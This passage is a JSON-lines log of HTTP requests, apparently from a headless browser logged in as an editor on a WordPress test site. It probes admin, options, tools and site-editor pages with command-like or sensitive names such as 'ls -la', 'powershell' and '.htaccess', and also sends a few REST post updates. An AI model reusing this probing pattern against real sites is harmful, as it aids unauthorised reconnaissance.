"Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpython3&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""} {"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpython3&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214704"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""} {"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell&reauth=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251825"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin.php?page=menu-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251826"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-example-settings", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-ls%20-la", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/tools.php?page=tools-python3-tools", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251827"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme//single&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//single", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Findex&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251828"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?p=%2Fwp_template%2Fpython3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251831"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?postType=wp_template&postId=python3-theme%2F%2Fpowershell-page&canvas=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""}
{"method": "GET", "target": "/wp-admin/site-editor.php?canvas=edit&p=/wp_template/python3-theme//powershell-page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251835"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"Hello world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 32", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"Hello world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 22", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"Hello world\"}"}
